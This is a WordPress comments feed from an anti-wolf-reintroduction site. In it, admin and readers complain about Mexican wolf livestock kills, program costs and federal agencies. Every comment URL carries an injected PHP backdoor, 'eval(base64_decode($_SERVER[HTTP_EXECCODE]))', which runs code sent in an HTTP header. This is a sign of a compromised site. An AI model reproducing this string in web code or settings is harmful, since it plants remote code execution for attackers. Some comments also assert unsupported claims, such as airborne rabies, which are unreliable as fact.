Comments for Wolf Crossing http://wolfcrossing.org Examination of the Wolf Reintroduction Program & Wolf Education Tue, 07 Sep 2010 00:18:03 +0000 http://wordpress.org/?v=2.6 Comment on Middle Fork Mexican wolves will not be removed. Despite 8 and counting attacks. Graphic (photo’s) by admin http://wolfcrossing.org/2009/09/22/middle-fork-mexican-wolves-will-not-be-removed-despite-7th-attack-photos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23400 admin Sat, 12 Sep 2009 17:00:12 +0000 http://wolfcrossing.org/?p=1479#comment-23400 There have been three depredations since this occured one is still in the confirmation process. Middle Fork will be allowed to continue this behavior until November 1 at the earliest. Averaging a yearling every 3 days, that will be a substantial loss to the rancher. If hazing is successful and the wolves are moved south then the next rancher can take up feeding these animals and watching his livestock under his care tortured to death with no recourse. There have been three depredations since this occured one is still in the confirmation process. Middle Fork will be allowed to continue this behavior until November 1 at the earliest. Averaging a yearling every 3 days, that will be a substantial loss to the rancher. If hazing is successful and the wolves are moved south then the next rancher can take up feeding these animals and watching his livestock under his care tortured to death with no recourse.

]]> Comment on Middle Fork Mexican wolves will not be removed. Despite 8 and counting attacks. Graphic (photo’s) by admin http://wolfcrossing.org/2009/09/22/middle-fork-mexican-wolves-will-not-be-removed-despite-7th-attack-photos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23399 admin Mon, 07 Sep 2009 16:53:05 +0000 http://wolfcrossing.org/?p=1479#comment-23399 Sorry folks this is kill number 6 but don't worry even though the count was off on this article by 1, there have been two more since this posting. Admin Sorry folks this is kill number 6 but don’t worry even though the count was off on this article by 1, there have been two more since this posting. Admin

]]> Comment on N.M. Man Pleads Guilty in Wolf Death by admin http://wolfcrossing.org/2009/08/28/nm-man-pleads-guilty-in-wolf-death/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23390 admin Fri, 28 Aug 2009 22:26:37 +0000 http://wolfcrossing.org/?p=1473#comment-23390 Great job Tom. Great job Tom.

]]> Comment on Rio Grande Foundation analyzes the Mexican Wolf finds fed value wolf life more than human life. by admin http://wolfcrossing.org/2009/07/25/rio-grande-foundation-analyzes-the-mexican-wolf-finds-fed-value-wolf-life-more-than-human-life/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23316 admin Sun, 26 Jul 2009 17:18:44 +0000 http://wolfcrossing.org/?p=1462#comment-23316 thank you for exposing the Mexican wolf debacle here in the Southwest. I always hesitate to compile those figures because all you can do is try to get the federal and state contributions. There is no way to accurately pursue livestock depredation costs but they are substantial. NMSU Range Improvement Task Force’s Nick Ashcroft has done an analysis of a years worth of losses during an active, wolves on the ground yearlong analysis that may be interesting to you. It will likely be extrapolated to what happens when the packs are distributed the way the agencies want them to be if the program is successful. Also something never compiled are the private foundation donations by the Turner Endangered Species Fund, World Wildlife Fund, Center for Biological Diversity, Wild Earth Guardians, The National Wildlife Federation, Defenders of Wildlife and countless others that pay for various needs in the program as well, through donations. Why are we even forcing the taxpayer to share this burden is beyond me especially since the taxpayer and the rancher has no input whatsoever beyond being able to make a written comment during NEPA required analysis. We won’t even discuss the sociological and psychological impacts to the communities and their residents and families. The whole cost of this program has been far beyond 400,000 per wolf. And you are correct, the program values human life far below that of each wolf. I recall one incident where an 8 year old girl was saved from a wolf attack by her dog at her home in the Gila. The wolves involved were not removed even though they remained to kill a horse a month later, the agency simply claimed the dog had attracted the wolf. And this is only one out of dozens of severe incidents attributed to Mexican wolves in the past ten years. Regardless of the severity of the incident, the agency is always prepared with an excuse and an analysis of why the wolves are to be spared and the people are to take more responsibility. Thanks again and we direct linked to your report. admin thank you for exposing the Mexican wolf debacle here in the Southwest. I always hesitate to compile those figures because all you can do is try to get the federal and state contributions. There is no way to accurately pursue livestock depredation costs but they are substantial. NMSU Range Improvement Task Force’s Nick Ashcroft has done an analysis of a years worth of losses during an active, wolves on the ground yearlong analysis that may be interesting to you. It will likely be extrapolated to what happens when the packs are distributed the way the agencies want them to be if the program is successful.
Also something never compiled are the private foundation donations by the Turner Endangered Species Fund, World Wildlife Fund, Center for Biological Diversity, Wild Earth Guardians, The National Wildlife Federation, Defenders of Wildlife and countless others that pay for various needs in the program as well, through donations.
Why are we even forcing the taxpayer to share this burden is beyond me especially since the taxpayer and the rancher has no input whatsoever beyond being able to make a written comment during NEPA required analysis.
We won’t even discuss the sociological and psychological impacts to the communities and their residents and families.
The whole cost of this program has been far beyond 400,000 per wolf. And you are correct, the program values human life far below that of each wolf. I recall one incident where an 8 year old girl was saved from a wolf attack by her dog at her home in the Gila. The wolves involved were not removed even though they remained to kill a horse a month later, the agency simply claimed the dog had attracted the wolf. And this is only one out of dozens of severe incidents attributed to Mexican wolves in the past ten years.
Regardless of the severity of the incident, the agency is always prepared with an excuse and an analysis of why the wolves are to be spared and the people are to take more responsibility.
Thanks again and we direct linked to your report.
admin

]]> Comment on San Mateo Pack Devastate Hispanic Ranchers (Bill Richardson thinks?) by Freecoyote.com http://wolfcrossing.org/2009/06/23/san-mateo-pack-devestate-hispanic-ranchers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23271 Freecoyote.com Thu, 02 Jul 2009 00:02:35 +0000 http://wolfcrossing.org/?p=1433#comment-23271 I read many articles on the Wolf both pro and con but no one has written about what part the Hage Decision is playing in all of this. It is my belief that the Game & Fish Dept. in all the Western States are pushing the Wolf Agenda to break as many ranchers as possible because once the provisions of the Hage Decision are put in place the Game & Fish are going to have to pay ranchers for damages done by wildlife. Wolves are soldiers nothing more nothing less, when the Game & Fish stand silently by and watch their revenue being turned into wolf scat, there has to be something else going on. Todd Fross I read many articles on the Wolf both pro and con but no one has written about what part the Hage Decision is playing in all of this. It is my belief that the Game & Fish Dept. in all the Western States are pushing the Wolf Agenda to break as many ranchers as possible because once the provisions of the Hage Decision are put in place the Game & Fish are going to have to pay ranchers for damages done by wildlife.
Wolves are soldiers nothing more nothing less, when the Game & Fish stand silently by and watch their revenue being turned into wolf scat, there has to be something else going on.
Todd Fross

]]> Comment on Forest Service OKs grazing near wolves by longshot http://wolfcrossing.org/2009/06/10/forest-service-oks-grazing-near-wolves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23166 longshot Sun, 14 Jun 2009 16:52:43 +0000 http://wolfcrossing.org/?p=1426#comment-23166 It's encouraging to hear some truth from someone looking at the whole picture, rather than those who are focused on the single aspect of the problem. Their prejudiced followers insist that we allow the wolves to do and be what the political action advocates have embraced and implemented. They blindly ignore the devastation of such unconscionable choices and behavior. Those of us who are deeply concerned for our entire natural environment need to develop into a supportive and proactive community who will, as you have stated, push for realistic and legal wolf control and property protection. Public education (not pulling what wool is left over the blithe pro-wolfers eyes)is desperately needed. When they awake one day to discover that indeed, they have lost their beloved rural economy, lifestyles and peoples, it will be too late. I suppose then that the powers that be will be "whoops-ing" and then springing onboard to remedy the awfulness of what they created so that they can re-create, according to their twisted ideas, what we irreparably lost. Our ranchers have historically contributed to, maintained through sensible practices, and sustained our rural economy. Their hard-working and sacrificial efforts and management have made this area into what it is. Our recreational wilderness and the beauty and wonder of our wildlife left in its NATURAL state is being annihilated because of the interference into the natural balance. It’s encouraging to hear some truth from someone looking at the whole picture, rather than those who are focused on the single aspect of the problem. Their prejudiced followers insist that we allow the wolves to do and be what the political action advocates have embraced and implemented. They blindly ignore the devastation of such unconscionable choices and behavior. Those of us who are deeply concerned for our entire natural environment need to develop into a supportive and proactive community who will, as you have stated, push for realistic and legal wolf control and property protection. Public education (not pulling what wool is left over the blithe pro-wolfers eyes)is desperately needed. When they awake one day to discover that indeed, they have lost their beloved rural economy, lifestyles and peoples, it will be too late. I suppose then that the powers that be will be “whoops-ing” and then springing onboard to remedy the awfulness of what they created so that they can re-create, according to their twisted ideas, what we irreparably lost.

Our ranchers have historically contributed to, maintained through sensible practices, and sustained our rural economy. Their hard-working and sacrificial efforts and management have made this area into what it is. Our recreational wilderness and the beauty and wonder of our wildlife left in its NATURAL state is being annihilated because of the interference into the natural balance.

]]> Comment on Forest Service OKs grazing near wolves by admin http://wolfcrossing.org/2009/06/10/forest-service-oks-grazing-near-wolves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23129 admin Wed, 10 Jun 2009 18:24:46 +0000 http://wolfcrossing.org/?p=1426#comment-23129 We can see where this is headed, it matters not one whit to these groups that ranching has been on the land in this area for over a hundred years and that people are dependent on these grazing allotments to sustain their businesses and their private homes and lands are attached to these allotments. They will loose all if grazing allotments are made off limits becuase suddenly they have become wolf habitat. We can see this destroying ranching through political action coupled with misinformation or carefully censored information implying that these allotments are in wolf territory rather than the wolves are on historical grazing allotments long attached to historic ranches. We can also stand here and watch as wolves kill the livestock and the pro-wolfers shove their fantastic fib down the public's throats, or we can push for realistic and legal wolf control and property protection and public education to garner support for protecting their rural economy, lifestyles and peoples. We can see where this is headed, it matters not one whit to these groups that ranching has been on the land in this area for over a hundred years and that people are dependent on these grazing allotments to sustain their businesses and their private homes and lands are attached to these allotments. They will loose all if grazing allotments are made off limits becuase suddenly they have become wolf habitat.
We can see this destroying ranching through political action coupled with misinformation or carefully censored information implying that these allotments are in wolf territory rather than the wolves are on historical grazing allotments long attached to historic ranches. We can also stand here and watch as wolves kill the livestock and the pro-wolfers shove their fantastic fib down the public’s throats, or we can push for realistic and legal wolf control and property protection and public education to garner support for protecting their rural economy, lifestyles and peoples.

]]> Comment on Group backs return of wolves in Southern Rockies by Greg Farber http://wolfcrossing.org/2009/05/26/group-backs-return-of-wolves-in-southern-rockies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23124 Greg Farber Wed, 10 Jun 2009 04:48:18 +0000 http://wolfcrossing.org/?p=1420#comment-23124 Don't sweat it, Idaho and Wyoming Wolves are headed south looking for better prey grounds to feed in..Then we can relax up north while the wolves shred your ungulate herds Colorado... Don’t sweat it, Idaho and Wyoming Wolves are headed south looking for better prey grounds to feed in..Then we can relax up north while the wolves shred your ungulate herds Colorado…

]]> Comment on (NM) Wolves get a little help from their two-legged friends by admin http://wolfcrossing.org/2009/05/09/nm-wolves-get-a-little-help-from-their-two-legged-friends/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23018 admin Sat, 09 May 2009 21:31:00 +0000 http://wolfcrossing.org/?p=1416#comment-23018 Wolves in NM are not acting like the wolves in cages at Sevilletta but FWS will not tell the public that. They come to homes, kill horses, kill livestock, bother people in camping areas with horses, yet FWS are still manipulating the media and now they invite and misinform congressional aids with field trips to captive breeding areas. Why aren't they telling them the truth about what is going on in the program on the ground? Why won't they bring the congressional aids out to the people who have been impacted becuase these wolves are not running away and are no afraid of people. Where do our wolves stand with their vaccination schedule? How often are their rabies vaccinations kept up to date. Likely only one shot and then no updates at all. That is, those that weren't born in the wild and were vaccinated at Sevilletta or some other captive venue. The majority of those born in the wild simply haven't been vaccinated for rabies. See the article below, now rabies in AZ can be spread through air like the flu. There is rabies throughout AZ and NM now I have to wonder why FWS and other managers aren't concerned that their lost wolves are vectors and that is why the population is slipping year after year. Wolves in NM are not acting like the wolves in cages at Sevilletta but FWS will not tell the public that. They come to homes, kill horses, kill livestock, bother people in camping areas with horses, yet FWS are still manipulating the media and now they invite and misinform congressional aids with field trips to captive breeding areas. Why aren’t they telling them the truth about what is going on in the program on the ground? Why won’t they bring the congressional aids out to the people who have been impacted becuase these wolves are not running away and are no afraid of people.

Where do our wolves stand with their vaccination schedule? How often are their rabies vaccinations kept up to date. Likely only one shot and then no updates at all. That is, those that weren’t born in the wild and were vaccinated at Sevilletta or some other captive venue. The majority of those born in the wild simply haven’t been vaccinated for rabies. See the article below, now rabies in AZ can be spread through air like the flu. There is rabies throughout AZ and NM now I have to wonder why FWS and other managers aren’t concerned that their lost wolves are vectors and that is why the population is slipping year after year.

]]> Comment on Ashton Rancher Finds Calves Dead After Wolf Attack (Idaho) by admin http://wolfcrossing.org/2009/04/27/ashton-rancher-finds-calves-dead-after-wolf-attack-idaho/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-22965 admin Mon, 27 Apr 2009 23:20:57 +0000 http://wolfcrossing.org/?p=1391#comment-22965 Just a reminder that unlike Idaho in AZ and New Mexico, people are NOT allowed to defend their livestock or defend their property against wolf attack. There is a double standard depending on wolf species or subspecies. Just a reminder that unlike Idaho in AZ and New Mexico, people are NOT allowed to defend their livestock or defend their property against wolf attack. There is a double standard depending on wolf species or subspecies.

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